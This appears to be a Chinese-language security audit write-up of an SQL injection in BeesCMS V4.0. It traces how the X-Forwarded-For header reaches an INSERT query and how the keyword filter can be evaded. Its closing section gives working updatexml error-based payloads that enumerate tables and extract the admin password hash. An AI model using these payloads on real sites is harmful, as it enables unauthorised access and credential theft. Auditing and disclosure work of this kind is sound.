Beescms V4.0_R_20160525程式碼審計筆記
寫在前面
- 什麼是報錯注入?正常使用者訪問伺服器傳送id資訊返回正確的id資料。報錯注入是想辦法構造語句,讓錯誤資訊中可以顯示資料庫的內容;如果能讓錯誤資訊中返回資料庫中的內容,即實現SQL注入。
復現過程
CNVD看到如下詳情:
本地搭建一套找下漏洞觸發點。
搜尋原始碼目錄,符合or***_sa***.php
的檔案只有一個:order_save.php
先貼下程式碼:
<?php define('CMS',true); require_once('../includes/init.php'); $lang = $_REQUEST['lang']; $fields=$_POST['fields']; //表單驗證碼 $feed_code=$_POST['feed_code']; if(empty($feed_code)){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");} if($feed_code!=$_SESSION['code']){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");} if(empty($fields)||empty($form_id)){die($language['order_msg1']);} if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//語言包快取,陣列$language if(file_exists(DATA_PATH.'cache_form/form.php')){include(DATA_PATH.'cache_form/form.php');} if(!empty($form)){ foreach($form as $k=>$v){ if($v['id']==$form_id&&!$v['is_disable']){ $form=$v; } } } if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');} $fd=array(); if(!empty($field)){ foreach($field as $k=>$v){ if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){ $fd[]=$v['field_name']; } } } $sql_field=''; $sql_value=''; if(!empty($fields)){ foreach($fields as $key=>$value){ if(!is_array($value)){ if(!in_array($key,$fd)){die($language['order_msg1']);} } $sql_field.=','.$key; if(is_array($value)){ foreach($value as $k=>$v){ $value_str.=$v.','; } $value=$value_str; } $sql_value.=",'".fl_html($value)."'"; } }else{ die($language['order_msg2']); } $table=$form['form_mark']; $tables=$mysql->show_tables(); if(!in_array(DB_PRE.$table,$tables)){ die($language['order_msg3']); } $addtime=time(); $ip=fl_value(get_ip()); $ip=fl_html($ip); $member_id=empty($_SESSION['id'])?0:$_SESSION['id']; $arc_id=empty($f_id)?0:intval($_POST['f_id']); $sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')"; echo $sql."\n\n"; $mysql->query($sql); $last_id=$mysql->insert_id(); $sql_field='id'.$sql_field; $sql_value=$last_id.$sql_value; $sql="insert into ".DB_PRE."{$table} ({$sql_field}) values ({$sql_value})"; $mysql->query($sql); //傳送郵件 if(!empty($_sys['mail_feed'])){ if(in_array('1',$_sys['mail_feed'])){ $table=$form['form_mark']; if(!empty($table)){ $rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."{$table} where id={$last_id}"); $rel_arr=$rel[0]; if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');} $hmtl='<table cellpadding="0" cellspacing="0" width="100%">'; $hmtl.='<thead>'; $hmtl.='<tr><th style="width:20%">引數說明</th><th style="width:80%">引數值</th></tr>'; $hmtl.='</thead>'; $hmtl.='<tbody>'; unset($rel_arr['id']); if(!empty($rel_arr)){ foreach($rel_arr as $key=>$value){ $f_name="<span style=\"clear:red\">不存在該說明</span>"; if(!empty($field)){ foreach($field as $k=>$v){ if($v['field_name']==$key){ $f_name=$v['use_name']; } } } $hmtl.='<tr>'; $hmtl.='<td style="width:20%; text-align:center">'.$f_name.'</td><td style="width:80%">'.$value.'</td>'; $hmtl.='</tr>'; } } $hmtl.='</tbody>'; $hmtl.='</table>'; $hmtl.='<div>--------------------------------------------------------------------------------------------------------</div>'; $hmtl.=$_sys['mail_jw']; } $_sys['mail_js'] = empty($_sys['mail_js'])?$_sys['mail_mail']:$_sys['mail_js']; if($hmtl){ beescms_smtp_mail($_sys['mail_js'],'','產品訂單',$hmtl); } } } echo "<script type=\"text/javascript\">alert('".$language['order_msg4']."');history.go(-1);</script>"; ?>
進入程式碼,先定位到SQL語句,order_save.php
第57行:
$addtime=time(); $ip=fl_value(get_ip()); $ip=fl_html($ip); $member_id=empty($_SESSION['id'])?0:$_SESSION['id']; $arc_id=empty($f_id)?0:intval($_POST['f_id']); $sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')"; //SQL語句 echo $sql."\n\n"; //這裡把SQL語句輸出方便除錯
這裡傳遞了5個引數,我們先找到對應功能,抓包看下幾個引數可控。先看下哪裡呼叫order_save.php
:
前臺對應功能‘產品訂購’,抓包看下:
所以我們可控的引數有:$form_id
、$ip
、$arc_id
,我們逐一看下。
$form_id
,在快取檔案cache_category28_cn.php
第28行,初始值為5:
<?php $category=array ( 0 => array ( 'id' => '29', 'custom_url' => '', 'cate_name' => '測試下級', 'cate_mb_is' => '0', 'cate_hide' => '0', 'cate_channel' => '-9', 'cate_fold_name' => '', 'cate_order' => '10', 'cate_rank' => '0', 'cate_tpl' => '0', 'cate_tpl_index' => NULL, 'cate_tpl_list' => 'list_mx_form.html', 'cate_tpl_content' => 'mx_form_content.html', 'cate_title_seo' => '', 'cate_key_seo' => '', 'cate_info_seo' => '', 'lang' => 'cn', 'cate_parent' => '28', 'cate_html' => '1', 'cate_nav' => '', 'is_content' => '0', 'cate_url' => 'http://', 'cate_is_open' => '0', 'form_id' => '5', 'cate_pic1' => '', 'cate_pic2' => '', 'cate_pic3' => '', 'cate_content' => '', 'temp_id' => '0', 'list_num' => '20', 'nav_show' => '0', ), );?>
跟進order_save.php
第25行:
$fd=array();
if(!empty($field)){
foreach($field as $k=>$v){
if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){
$fd[]=$v['field_name']; //$form_id插入注入語句時,$fd為空
}
}
}
$sql_field='';
$sql_value='';
if(!empty($fields)){
foreach($fields as $key=>$value){
if(!is_array($value)){
if(!in_array($key,$fd)){die($language['order_msg1']);} //$fd為空,退出執行,程式碼終止
}
$sql_field.=','.$key;
if(is_array($value)){
foreach($value as $k=>$v){
$value_str.=$v.',';
}
$value=$value_str;
}
$sql_value.=",'".fl_html($value)."'";
}
}else{
die($language['order_msg2']);
}
‘產品訂購’表單中,form_id
的初始值為5,當$form_id
不等於5時,$fd
為空,導致程式碼無法繼續執行,故$form_id
引數無法注入。
$arc_id
,order _save.php
第61行:
$arc_id=empty($f_id)?0:intval($_POST['f_id']);
$arc_id
取$_POST['f_id']
的整數值,故無法注入。
$ip
,order_save.php
第58行:
$ip=fl_value(get_ip());
$ip=fl_html($ip);
追下get_ip
函式,./includes/fun.php
第1032行:
function get_ip(){
if(!empty($_SERVER['HTTP_CLIENT_IP']))
{
return $_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
return $_SERVER['REMOTE_ADDR'];
}
}
函式先取HTTP_CLIENT_IP
,如果沒有就取HTTP_X_FORWARDED_FOR
,還沒有就取REMOTE_ADDR
,典型的XFF偽造。
再跟進下fl_value
和fl_html
兩個函式,./includes/fun.php
第1755行:
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
對SQL注入和xss進行過濾,其中注入過濾了select
、where
、from
、/*
、*
、=
等關鍵字,我們將語句輸出,利用burp嘗試繞過,先查下當前使用者:
'or updatexml(1,concat(0x7e,(user()),0x7e),1) or'
沒問題,查下當前表:
'or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema = database() limit 0,1),0x7e),1) or'
可以看到語句中select
、from
、where
和=
被過濾了,這裡select
我們可以用雙寫巢狀繞過:selselectect
,from
和where
同理,但值得注意的是,這裡正則匹配的是關鍵字和前後的空格,所以我們的繞過方法應該是: fr from om
和 whe where re
,最後=
號用like
替代,修改後的語句變成:
'or updatexml(1,concat(0x7e,(selselectect concat(table_name) fr from om information_schema.tables whe where re table_schema like database() limit 0,1),0x7e),1) or'
修改limit後面的數字可以遍歷所有的表,查管理員表字段:
'or updatexml(1,concat(0x7e,(selselectect concat(column_name) fr from om information_schema.columns whe where re table_name like 'bees_admin' limit 2,1),0x7e),1) or'
查管理員密碼:
'or updatexml(1,concat(0x7e,(selselectect admin_password fr from om bees_admin),0x7e),1) or'
這裡顯示位數不夠,我們分兩次查詢:
'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),1,16),0x7e),1) or'
'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),17,32),0x7e),1) or'
最後利用線上md5解密網站解下密碼: